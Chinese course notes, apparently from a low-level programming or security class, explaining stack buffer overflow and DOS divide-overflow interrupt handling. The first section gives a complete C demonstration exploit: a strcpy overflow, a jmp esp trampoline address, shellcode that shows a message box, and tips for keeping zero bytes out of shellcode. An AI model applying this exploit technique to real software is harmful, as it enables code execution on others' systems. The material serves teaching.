09_溢出与溢出攻击
一、 缓冲区溢出 (Buffer Overflow)
缓冲区溢出是一种常见的软件漏洞,其核心原理是程序在向内存写入数据时,没有严格检查数据的边界,导致写入的数据超出了预先分配的缓冲区域,进而覆盖了相邻的内存空间。
1. 函数栈帧结构与漏洞成因
在高级语言(如C语言)中,函数的调用依赖于堆栈框架(Stack Frame)。当一个函数(如 strcpy)被调用时,堆栈中会依次包含以下关键信息:
-
局部变量(Buffer):函数内部定义的数组或变量(如
char t[4])。 -
Old EBP:调用者的基址指针,用于在函数返回时恢复堆栈状态。
-
返回地址 (Return Address):函数执行完毕后,CPU需要跳转回去继续执行的指令地址。
-
函数参数:传递给被调用函数的参数。
漏洞触发机制:
C语言中的某些标准库函数(例如 strcpy)在复制字符串时,不会检查目标缓冲区的长度。如果源数据的长度大于目标缓冲区(如将一个长数组复制到4字节的数组 t 中),多出来的数据就会“溢出”并向下覆盖堆栈上的数据。
2. 控制流劫持 (Control Flow Hijacking)
攻击者可以精心构造溢出数据的内容,实现对程序执行流的控制:
-
覆盖返回地址:攻击者利用超长的数据填满局部变量区,并覆盖掉相邻的 Old EBP 和 返回地址。
-
设置跳板 (Trampoline):攻击者通常不会将返回地址直接覆盖为某个硬编码的堆栈地址(因为堆栈地址可能会浮动),而是将其覆盖为操作系统内核或加载模块中某个固定的
jmp esp指令所在的地址(例如0x7FFA4512)。 -
执行恶意代码:当函数执行
ret指令准备返回时,它会弹出被篡改的返回地址并放入 EIP(指令寄存器)。CPU 随之跳转执行jmp esp。此时,ESP(堆栈指针)正好指向攻击者布置在返回地址之后的数据区。如果该区域填充了可执行的机器码(Shellcode),CPU 就会将其作为正常指令执行。
以下是触发缓冲区溢出的完整 C/C++ 代码实例。程序中构造了一个恶意的 over 数组,通过 len 函数内部无长度校验的 strcpy 操作,精准覆盖了栈帧中的返回地址,使其跳转到跳板地址(0x7FFA4512,即系统内的 jmp esp 指令处),最终执行数组后半部分包含的弹窗恶意代码。
#include "stdafx.h"
#include <windows.h>
#include <string.h>
// 存在漏洞的函数
int len(char *p)
{
char t[4]; // 仅分配了 4 字节的局部数组
strcpy(t, p); // 致命弱点:不检查 p 的长度,直接复制,导致溢出覆盖 Old EBP 和返回地址
return strlen(t);
}
int main()
{
// 精心构造的溢出载荷 (Payload)
char over[] =
{
// 1. 填充局部变量 t[4] 和 Old EBP (共 8 字节)
0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90,
// 2. 覆盖返回地址 (Return Address),将其指向系统内核中的 jmp esp 指令地址
0x12,0x45,0xFA,0x7F, // 倒序读取为 0x7FFA4512 (跳板地址)
// 3. 恶意机器码 (Shellcode):将被 jmp esp 引导执行
0x89,0xE5,0x31,0xC0,0x50,0x8D,0x45,0x20,
0x50,0x30,0xD2,0x88,0x50,0x0F,0x8D,0x45,
0x30,0x88,0x50,0x0F,0x50,0x31,0xC0,0x50,
0xB8,0xEA,0x07,0xD5,0x77,0xFF,0xD0,0xC3,
// 附加的字符串数据 "MessageBoxTitle!Buffer Overflow!"
0x4D,0x65,0x73,0x73,0x61,0x67,0x65,0x42,
0x6F,0x78,0x54,0x69,0x74,0x6C,0x65,0x21,
0x42,0x75,0x66,0x66,0x65,0x72,0x20,0x4F,
0x76,0x65,0x72,0x66,0x6C,0x6F,0x77,0x21,
0x00 // 字符串结束符
};
int y;
MessageBox(NULL, "Test", "Begin", MB_OK); // 正常弹窗
y = len(over); // 调用 len 函数,触发溢出
here:
return 0; // 由于返回地址已被覆盖,程序永远无法正常返回到这里
}
3. 代码构造约束:避免 Zero Bytes (零字节)
在构造用于触发 strcpy 溢出的机器码时,代码中不能出现 0x00(即零字节)。因为字符串复制函数遇到 0x00 时会认为字符串已结束,从而截断复制过程,导致溢出攻击失败。
- 应对技巧:在编写汇编代码时需刻意规避产生零的机器码。例如,若要将寄存器清零,不能使用
mov eax, 0,而应使用xor eax, eax(机器码为31 C0)。
二、 除法溢出 (Divide Overflow)
除法溢出不属于人为的代码攻击漏洞,而是 CPU 在执行除法指令时遇到异常数值而产生的一种内部异常中断。
1. 触发条件
除法溢出主要发生在以下两种情况:
-
除数为零:当执行
div指令且除数为 0 时。 -
商过大 (容量溢出):当被除数除以除数得到的“商”,超出了用来存放商的寄存器的最大容量时。例如,进行 16位 除以 8位 的运算时,结果默认保存在 8位 的
AL寄存器中;如果商大于 255,AL无法容纳,就会触发溢出。
2. 中断机制与默认处理
-
异常触发:当 CPU 检测到除法溢出时,会立即在引发异常的
div指令上方内部插入并触发一个int 00h中断(属于异常 Exception,而非硬件中断)。 -
默认处理:在默认情况下,操作系统的
int 00h处理函数会在屏幕上打印出类似于 “Divide overflow” 的错误信息,并直接强行终止程序的运行,不会返回继续执行后续代码。
3. 自定义中断处理与异常挽救
为了防止程序因除法溢出而崩溃,开发者可以通过修改中断向量表(Interrupt Vector Table)来接管 int 00h,并挽救执行流。
-
修改中断向量:
int 00h的目标函数地址存放在内存的0:0处。通过将此处保存的段地址和偏移地址替换为自定义中断函数(如int_00h)的地址,就可以让 CPU 在溢出时跳转到自定义代码。 -
绕过错误指令 (修改栈中 IP):
-
发生中断时,CPU 会将
FLAGS、CS和IP压入堆栈保护现场。此时堆栈顶部的IP依然指向那条发生错误的div指令。 -
如果在自定义中断中直接执行
iret返回,CPU 会再次执行div,导致死循环。 -
方法:在中断处理函数中建立堆栈框架(
push bp,mov bp, sp),直接修改堆栈中保存的返回 IP 的值(位于bp+2),将其加上一个偏移量,指向div指令之后的一条安全指令(如代码中的back标签)。这样当iret执行时,程序就能成功绕过导致崩溃的除法运算,继续向下执行。
-
以下汇编代码展示了如何通过修改中断向量表,用自定义的 int_00h 异常处理函数接管除法溢出。代码在栈中修改了压入的 IP 指针(偏移地址加 2 或直接指向安全地址 back),成功绕过了导致崩溃的 div bl 指令,使程序能够继续打印字母 'A' 并正常退出。
code segment
assume cs:code
old_00h dw 0, 0 ; 用于保存操作系统原有的 int 00h 中断向量
; 自定义除法溢出处理函数
int_00h:
push bp
mov bp, sp
; 核心挽救逻辑:修改堆栈中保存的返回 IP,使其指向安全地址 back
; bp+2 处存放的是发生异常前压入的 IP (原指向 div 指令)
mov word ptr [bp+2], offset back
pop bp
iret ; 中断返回时,IP 将被弹出为 back 的地址,成功绕过死循环
main:
; 1. 修改中断向量表 (0:0 处)
xor ax, ax ; AX = 0
mov es, ax ; ES = 0
mov bx, 0 ; int 00h 中断向量的地址偏移为 0*4 = 0
; 保存旧的中断向量
mov ax, es:[bx]
mov dx, es:[bx+2]
mov cs:old_00h[0], ax
mov cs:old_00h[2], dx
; 写入新的自定义中断向量 (指向代码段的 int_00h)
mov word ptr es:[bx], offset int_00h
mov es:[bx+2], cs
; 2. 故意触发除法溢出
mov ax, 1234h
mov bl, 10h
div bl ; 商无法保存在 8 位的 AL 中,触发溢出,跳转到我们自定义的 int_00h
back:
; 3. 溢出被成功挽救,程序跳到这里继续执行
mov ah, 2
mov dl, 'A' ; 屏幕打印字母 'A',证明挽救成功
int 21h
; 4. 恢复系统原有的中断向量
mov ax, old_00h[0]
mov dx, old_00h[2]
mov es:[bx], ax
mov es:[bx+2], dx
exit:
mov ah, 4Ch
mov al, 0
int 21h ; 正常结束程序运行
code ends
end main